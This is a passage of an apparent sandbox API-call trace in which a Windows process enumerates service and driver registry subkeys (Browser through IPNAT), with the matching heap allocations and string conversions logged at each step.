Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.563] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0236.563] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.563] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.563] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.563] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.563] RegEnumKeyW (in: hKey=0x150, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0236.563] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.563] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0236.563] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.563] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.563] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.563] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.563] RegEnumKeyW (in: hKey=0x150, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0236.563] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.563] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0236.563] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.563] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.563] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.563] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.563] RegEnumKeyW (in: hKey=0x150, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0236.563] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.564] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0236.564] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.564] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.564] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.564] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.564] RegEnumKeyW (in: hKey=0x150, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0236.564] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.564] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0236.564] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.564] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.564] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.564] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.564] RegEnumKeyW (in: hKey=0x150, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0236.564] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.564] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0236.564] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.564] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.564] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.564] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.564] RegEnumKeyW (in: hKey=0x150, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0236.564] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.564] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0236.564] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.564] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.564] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.565] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.565] RegEnumKeyW (in: hKey=0x150, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0236.565] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.565] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0236.565] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.565] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.565] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.565] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.565] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0236.565] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.565] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0236.565] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.565] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.565] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.565] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.565] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0236.565] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0236.565] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0236.565] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.565] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.565] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.565] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.565] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0236.565] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0236.565] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0236.565] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.566] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.566] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0236.566] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.566] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0236.566] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0236.566] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0236.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1a90, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0236.566] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0236.566] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0236.566] RegEnumKeyW (in: hKey=0x150, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0236.566] RegEnumKeyW (in: hKey=0x150, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0236.566] RegEnumKeyW (in: hKey=0x150, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0236.566] RegEnumKeyW (in: hKey=0x150, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0236.566] RegEnumKeyW (in: hKey=0x150, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0236.566] RegEnumKeyW (in: hKey=0x150, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0236.566] RegEnumKeyW (in: hKey=0x150, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0236.566] RegEnumKeyW (in: hKey=0x150, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0236.566] RegEnumKeyW (in: hKey=0x150, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0236.567] RegEnumKeyW (in: hKey=0x150, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0236.567] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0236.567] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0236.567] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0236.567] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0236.567] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0236.567] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0236.567] RegEnumKeyW (in: hKey=0x150, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0236.567] RegEnumKeyW (in: hKey=0x150, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0236.567] RegEnumKeyW (in: hKey=0x150, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0236.567] RegEnumKeyW (in: hKey=0x150, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0236.567] RegEnumKeyW (in: hKey=0x150, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0236.567] RegEnumKeyW (in: hKey=0x150, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0236.567] RegEnumKeyW (in: hKey=0x150, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0236.567] RegEnumKeyW (in: hKey=0x150, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0236.568] RegEnumKeyW (in: hKey=0x150, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0236.568] RegEnumKeyW (in: hKey=0x150, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0236.568] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0236.568] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0236.568] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0236.568] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0236.568] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0236.568] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0236.568] RegEnumKeyW (in: hKey=0x150, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0236.568] RegEnumKeyW (in: hKey=0x150, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0236.568] RegEnumKeyW (in: hKey=0x150, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0236.568] RegEnumKeyW (in: hKey=0x150, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0236.568] RegEnumKeyW (in: hKey=0x150, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0236.568] RegEnumKeyW (in: hKey=0x150, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0236.569] RegEnumKeyW (in: hKey=0x150, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0236.569] RegEnumKeyW (in: hKey=0x150, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0236.569] RegEnumKeyW (in: hKey=0x150, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0236.569] RegEnumKeyW (in: hKey=0x150, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0236.569] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0236.569] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0236.569] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0236.569] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0236.569] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0236.569] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0236.569] RegEnumKeyW (in: hKey=0x150, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0236.569] RegEnumKeyW (in: hKey=0x150, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0236.569] RegEnumKeyW (in: hKey=0x150, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0236.569] RegEnumKeyW (in: hKey=0x150, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0236.569] RegEnumKeyW (in: hKey=0x150, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0236.569] RegEnumKeyW (in: hKey=0x150, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0236.570] RegEnumKeyW (in: hKey=0x150, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0236.570] RegEnumKeyW (in: hKey=0x150, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0236.570] RegEnumKeyW (in: hKey=0x150, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0236.570] RegEnumKeyW (in: hKey=0x150, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0236.570] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0236.570] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0236.570] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0236.570] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0236.570] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0236.570] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0236.570] RegEnumKeyW (in: hKey=0x150, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0236.571] RegEnumKeyW (in: hKey=0x150, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0236.571] RegEnumKeyW (in: hKey=0x150, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0236.571] RegEnumKeyW (in: hKey=0x150, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0236.571] RegEnumKeyW (in: hKey=0x150, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0236.571] RegEnumKeyW (in: hKey=0x150, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0236.571] RegEnumKeyW (in: hKey=0x150, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0236.571] RegEnumKeyW (in: hKey=0x150, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0236.571] RegEnumKeyW (in: hKey=0x150, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0236.571] RegEnumKeyW (in: hKey=0x150, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0236.571] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0236.571] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0236.571] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0236.571] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0236.571] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0236.572] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0236.572] RegEnumKeyW (in: hKey=0x150, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0236.572] RegEnumKeyW (in: hKey=0x150, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0236.572] RegEnumKeyW (in: hKey=0x150, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0236.572] RegEnumKeyW (in: hKey=0x150, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0236.572] RegEnumKeyW (in: hKey=0x150, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0236.572] RegEnumKeyW (in: hKey=0x150, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0236.572] RegEnumKeyW (in: hKey=0x150, dwIndex=0x96, 